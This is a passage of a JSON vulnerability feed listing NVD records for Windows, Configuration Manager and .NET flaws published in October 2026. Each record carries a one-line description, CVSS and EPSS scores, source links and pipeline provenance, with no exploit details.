locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:17.950Z","updatedAt":"2026-10-14T04:18:29.650Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70067","asOf":"2026-10-14T04:18:29.650Z"},"epss":{"probability":0.00307,"percentile":0.23261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70067&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70067","type":"primary","publishedAt":"2026-10-13T19:19:17.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70067&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70067, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70066","cveId":"CVE-2026-70066","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DHCP Server allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows DHCP Server allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows DHCP Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:17.800Z","updatedAt":"2026-10-13T22:18:01.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70066","asOf":"2026-10-13T22:18:01.873Z"},"epss":{"probability":0.00307,"percentile":0.23261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70066","type":"primary","publishedAt":"2026-10-13T19:19:17.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70064","cveId":"CVE-2026-70064","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Windows Kerberos allows an authorized attacker to elevate privileges locally.","summary":"Integer underflow (wrap or wraparound) in Windows Kerberos allows an authorized attacker to elevate privileges locally.","detail":"Integer underflow (wrap or wraparound) in Windows Kerberos allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:17.600Z","updatedAt":"2026-10-16T16:20:28.167Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70064","asOf":"2026-10-16T16:20:28.167Z"},"epss":{"probability":0.00388,"percentile":0.3261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70064","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70064","type":"primary","publishedAt":"2026-10-13T19:19:17.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70062","cveId":"CVE-2026-70062","aliases":[],"kind":"vulnerability","title":"Double free in Windows Libarchive allows an unauthorized attacker to execute code over a network.","summary":"Double free in Windows Libarchive allows an unauthorized attacker to execute code over a network.","detail":"Double free in Windows Libarchive allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:17.270Z","updatedAt":"2026-10-16T16:20:27.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70062","asOf":"2026-10-16T16:20:27.833Z"},"epss":{"probability":0.00787,"percentile":0.55887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70062&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70062","type":"primary","publishedAt":"2026-10-13T19:19:17.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70062&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70062, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70060","cveId":"CVE-2026-70060","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:17.090Z","updatedAt":"2026-10-16T16:20:27.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70060","asOf":"2026-10-16T16:20:27.627Z"},"epss":{"probability":0.00433,"percentile":0.37358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70060&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70060","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70060","type":"primary","publishedAt":"2026-10-13T19:19:17.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70060&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70060, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70059","cveId":"CVE-2026-70059","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:16.910Z","updatedAt":"2026-10-16T16:20:27.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70059","asOf":"2026-10-16T16:20:27.420Z"},"epss":{"probability":0.00388,"percentile":0.32611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70059","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70059","type":"primary","publishedAt":"2026-10-13T19:19:16.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70058","cveId":"CVE-2026-70058","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:16.767Z","updatedAt":"2026-10-13T22:18:00.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70058","asOf":"2026-10-13T22:18:00.917Z"},"epss":{"probability":0.01359,"percentile":0.71492,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70058&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70058","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70058","type":"primary","publishedAt":"2026-10-13T19:19:16.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70058&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70058, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70056","cveId":"CVE-2026-70056","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:16.433Z","updatedAt":"2026-10-16T16:20:26.913Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70056","asOf":"2026-10-16T16:20:26.913Z"},"epss":{"probability":0.00307,"percentile":0.23259,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70056&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70056","type":"primary","publishedAt":"2026-10-13T19:19:16.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70056&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70056, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70054","cveId":"CVE-2026-70054","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows NetBIOS allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows NetBIOS allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows NetBIOS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:16.070Z","updatedAt":"2026-10-16T16:20:26.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70054","asOf":"2026-10-16T16:20:26.540Z"},"epss":{"probability":0.00468,"percentile":0.40215,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70054","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70054","type":"primary","publishedAt":"2026-10-13T19:19:16.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70052","cveId":"CVE-2026-70052","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows PowerShell allows an authorized attacker to execute code locally.","summary":"Integer overflow or wraparound in Windows PowerShell allows an authorized attacker to execute code locally.","detail":"Integer overflow or wraparound in Windows PowerShell allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:15.937Z","updatedAt":"2026-10-13T22:18:00.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70052","asOf":"2026-10-13T22:18:00.190Z"},"epss":{"probability":0.00373,"percentile":0.31029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70052&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70052","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70052","type":"primary","publishedAt":"2026-10-13T19:19:15.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70052&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70052, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70051","cveId":"CVE-2026-70051","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Windows SmartScreen allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Windows SmartScreen allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Windows SmartScreen allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:15.780Z","updatedAt":"2026-10-17T04:16:52.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70051","asOf":"2026-10-17T04:16:52.680Z"},"epss":{"probability":0.00361,"percentile":0.2968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70051","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70051","type":"primary","publishedAt":"2026-10-13T19:19:15.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70049","cveId":"CVE-2026-70049","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an...","summary":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an adjacent network.","detail":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:15.657Z","updatedAt":"2026-10-13T22:17:59.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70049","asOf":"2026-10-13T22:17:59.940Z"},"epss":{"probability":0.02657,"percentile":0.85563,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70049","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70049","type":"primary","publishedAt":"2026-10-13T19:19:15.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70048","cveId":"CVE-2026-70048","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:15.450Z","updatedAt":"2026-10-16T16:20:26.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70048","asOf":"2026-10-16T16:20:26.073Z"},"epss":{"probability":0.00388,"percentile":0.32606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70048&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70048","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70048","type":"primary","publishedAt":"2026-10-13T19:19:15.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70048&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70048, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70035","cveId":"CVE-2026-70035","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in .NET Framework allows an unauthorized attacker to execute code 